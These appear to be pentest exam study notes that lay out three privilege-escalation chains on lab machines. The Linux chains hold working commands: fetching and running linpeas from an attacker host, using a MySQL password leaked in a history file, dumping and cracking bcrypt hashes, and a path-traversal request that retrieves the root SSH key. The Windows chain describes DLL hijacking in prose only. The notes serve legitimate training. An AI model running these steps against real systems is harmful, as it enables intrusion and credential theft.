PrivEsc Vectors
Standalones — Privilege Escalation Vectors
1. linpeas → .mysql_history Credential Leak → MySQL Hash Dump → Bcrypt Crack → Lateral SSH → NOPASSWD Sudo → Root
Seen in: Exam B (.112)
OS: Linux (Ubuntu 24.04)
Starting user: clara (low-priv, from SSH key foothold)
Discovery Steps
- Transfer
linpeas.shfrom Kali:python3 -m http.server 4444on Kali →wget http://$KALI:4444/linpeas.shon target chmod +x linpeas.sh && ./linpeas.sh→ automated enumeration- linpeas flags
[*] Searching passwords in history files (T1552.001)→ highlights/home/clara/.mysql_historywith SQL statements containingALTER USER 'root'@'localhost' IDENTIFIED BY 'Sup3r_S3cure_DB!'
Exploitation Steps
- Verify internal MySQL:
ss -tnlp→ port 3306 listening on 127.0.0.1 mysql -h 127.0.0.1 -P 3306 -u root -p→ enterSup3r_S3cure_DB!→ connected as rootSHOW DATABASES;→ seecrestline,internal_auth;USE internal_auth; SHOW TABLES;→usersSELECT * FROM users;→ dumps usernames and bcrypt hashes: admin, jsmith, marcus, kthompson, rwilliams- Save hashes to
hashes.txton Kali john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt→ cracksmarcus:789456123ssh marcus@$IP→ SSH session as marcus (lateral move)find / -perm -u=s -type f 2>/dev/null→ enumerate SUID binariessudo /bin/sh→ no password required for sudo; root shell- Retrieve
proof.txtfrom/root/
Notes
- MySQL history file stored the root password in an ALTER USER statement — a very common finding
su -c /bin/shfailed;sudo /bin/shsucceeded —marcushad NOPASSWD sudo rights, notclara; always check both usersgetcap -r / 2>/dev/nullalso ran but returned nothing useful
2. dev Group Membership → Nexus Config Exposure → World-Readable Log → Internal API Path Traversal → Root SSH Private Key
Seen in: Exam C (.110)
OS: Linux (Ubuntu 24.04)
Starting user: james (low-priv, from POP3 email foothold)
Discovery Steps
id→uid=1000(james) gid=1000(james) groups=1000(james),24(cdrom),30(dip),46(plugdev),1001(dev)— member ofdevgroupfind / -group dev 2>/dev/null→ finds/opt/nexus/directory tree
Exploitation Steps
cat /opt/nexus/config.py→ revealsLOG_DIR = '/var/log/nexus'and confirms Nexus service runs internallyls -l /var/log/nexus/→nexus.logis world-readable (-rw-r--r-- 1 root root)cat /var/log/nexus/nexus.log→ log entries show GET requests tohttp://localhost:8005/api/v1/artifacts/downloadwith artifact path../../../../root/.ssh/id_rsareturning HTTP 200curl http://127.0.0.1:8005/api/v1/artifacts/download?artifact=../../../../root/.ssh/id_rsa→ returns full RSA private key content- Save key locally →
chmod 600 root_id_rsa ssh -i root_id_rsa root@$IP→ root shell; retrieveproof.txt
Notes
- The Nexus log being world-readable was the key misconfiguration — it revealed both the endpoint and the exact path traversal payload already in use
- dev group was the bridge:
/opt/nexus/config.pywould not be readable without it - This is a chained misconfiguration: group membership → config read → log read → API path traversal
3. SeManageVolumePrivilege → DLL Hijacking → SeImpersonate → SYSTEM
Seen in: Exam C (.111, Windows — Jenkins box)
OS: Windows
Starting user: low-priv domain user (from Jenkins Groovy script RCE foothold)
Discovery Steps
whoami /priv→SeManageVolumePrivilege: Enabled- SeManageVolumePrivilege allows setting DACL on volumes — use to write/replace DLLs in privileged directories
Exploitation Steps
- Use SeManageVolumePrivilege to write a malicious DLL to a directory in the system PATH loaded by a privileged process
- Trigger the DLL load (e.g., by starting/restarting a service or scheduled task) → code executes as SYSTEM
- DLL payload spawns SYSTEM shell or grants SeImpersonate capability for further abuse
whoami→nt authority\system; retrieveproof.txt
Notes
- SeManageVolumePrivilege is less well-known than SeImpersonate/SeAssignPrimaryToken — the DLL hijacking step is the intermediate requirement
- Both SeManageVolumePrivilege and SeImpersonate were present in this instance — the former was the entry, the latter the mechanism
- Requires enumeration of services with unquoted paths or missing DLLs to find the hijack target